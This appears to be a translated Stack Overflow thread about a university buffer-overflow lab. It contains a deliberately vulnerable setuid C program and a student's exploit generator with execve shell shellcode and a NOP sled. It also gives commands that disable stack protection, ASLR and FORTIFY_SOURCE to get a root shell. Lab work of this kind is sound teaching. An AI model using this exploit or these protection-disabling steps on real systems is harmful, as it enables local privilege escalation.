2013-02-16 43 views
1

我有一個實驗室任務,我被卡住了。基本上,我必須利用緩衝區溢出來生成具有root權限的shell。我必須使用2個獨立的.c文件。這是第一個: stack.c緩衝區溢出漏洞實驗室問題

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
int bof(char *str) 
{ 
    char buffer[12]; 

    //BO Vulnerability 
    strcpy(buffer,str); 

    return 1; 
} 

int main(int argc, char* argv[]) 
{ 
    char str[517]; 

    FILE *badfile; 
    badfile = fopen("badfile","r"); 

    fread(str, sizeof(char),517, badfile); 
    bof(str); 

    printf("Returned Properly\n"); 
    return 1; 
} 

這裏是第二個: exploit.c

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
char shellcode[]= 
"\x31\xc0"    /* xorl %eax,%eax    */ 
"\x50"     /* pushl %eax     */ 
"\x68""//sh"   /* pushl $0x68732f2f   */ 
"\x68""/bin"   /* pushl $0x6e69622f   */ 
"\x89\xe3"    /* movl %esp,%ebx    */ 
"\x50"     /* pushl %eax     */ 
"\x53"     /* pushl %ebx     */ 
"\x89\xe1"    /* movl %esp,%ecx    */ 
"\x99"     /* cdql       */ 
"\xb0\x0b"    /* movb $0x0b,%al    */  
"\xcd\x80"    /* int  $0x80     */ 
; 
void main(int argc, char **argv) 
{ 
    char buffer[517]; 
    FILE *badfile; 
    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(&buffer, 0x90, 517); 
/* You need to fill the buffer with appropriate contents here */ 
/* Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer, 517, 1, badfile); 
    fclose(badfile); 
} 

我只能修改第二個。下面是我所做的更改:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#define DEFAULT_OFFSET 350 

char shellcode[]= 
"\x31\xc0"    /* xorl %eax,%eax    */ 
"\x50"     /* pushl %eax     */ 
"\x68""//sh"   /* pushl $0x68732f2f   */ 
"\x68""/bin"   /* pushl $0x6e69622f   */ 
"\x89\xe3"    /* movl %esp,%ebx    */ 
"\x50"     /* pushl %eax     */ 
"\x53"     /* pushl %ebx     */ 
"\x89\xe1"    /* movl %esp,%ecx    */ 
"\x99"     /* cdql       */ 
"\xb0\x0b"    /* movb $0x0b,%al    */  
"\xcd\x80"    /* int  $0x80     */ 

unsigned long get_sp(void) 
{ 
    __asm__("movl %esp,%eax"); 
} 

void main(int argc, char **argv) 
{ 
    char buffer[517]; 
    FILE *badfile; 
    char *ptr; 
    long *a_ptr,ret; 

    int offset = DEFAULT_OFFSET; 
    int codeSize = sizeof(shellcode); 
    int buffSize = sizeof(buffer); 

    if(argc > 1) offset = atoi(argv[1]); //allows for command line input 

    ptr=buffer; 
    a_ptr = (long *) ptr; 

    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(buffer, 0x90, buffSize); 

//----------------------BEGIN FILL BUFFER----------------------\\ 

    ret = get_sp()+offset; 
    printf("Return Address: 0x%x\n",get_sp()); 
    printf("Address: 0x%x\n",ret); 

    ptr = buffer; 
    a_ptr = (long *) ptr; 

    int i; 
    for (i = 0; i < 300;i+=4) 
    { 
     *(a_ptr++) = ret; 
    } 

    for(i = 486;i < codeSize + 486;++i) 
    { 
     buffer[i] = shellcode[i-486]; 
    { 
    buffer[buffSize - 1] = '\0'; 
//-----------------------END FILL BUFFER-----------------------\\ 


/* Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer,517,1,badfile); 
    fclose(badfile);  
} 

我然後執行命令行下面

$ su root 
$ Password (enter root password) 
# gcc -o stack -fno-stack-protector stack.c 
# chmod 4755 stack 
# exit 
$ gcc -o exploit exploit.c 
$./exploit 
$./stack 

然而,儘管它確實產生了「BADFILE」與實際數據和外殼,僅殼說擁有基本的用戶權限。在此之前,我做執行在根目錄下:

echo 0 > /proc/sys/kernel/randomize_va_space 

實驗室說,我反而需要執行根以下幾點:

sysctl -w kernel.randomize_va_space=0 

但是,如果我這樣做,那麼當我執行「棧「,我收到」非法指令「錯誤。有人能幫我解決這個問題嗎?

+1

您是否檢查過編譯後的堆棧文件是由root擁有的? – Michael 2013-02-17 17:34:29

+1

http://stackoverflow.com/q/14903394/905902確切的重複(包括愚蠢的無效主要()...) – wildplasser 2013-02-17 17:44:05

回答

2

我想出了問題所在。我必須將zsh鏈接到/ bin/bash /。我跳過了,因爲我認爲如果我使用Fedora,我只需要這樣做。我使用的是Ubuntu。

+0

我知道這是舊的,但如果你仍然在附近,你能解釋什麼__asm __(「movl% ESP,%eax中「);是否以及它總是如何工作? – 2016-03-10 03:07:38

0
strcpy(buffer, str); 

你們中的一個將需要在測試期間解決的事情是這樣的函數調用。

FORTIFY_SOURCE使用高風險函數的「更安全」變體,如memcpystrcpy。編譯器在推導出目標緩衝區大小時使用更安全的變體。如果副本超出目標緩衝區大小,則該程序將調用abort()

要爲您的測試禁用FORTIFY_SOURCE,您應該使用-U_FORTIFY_SOURCE-D_FORTIFY_SOURCE=0編譯該程序。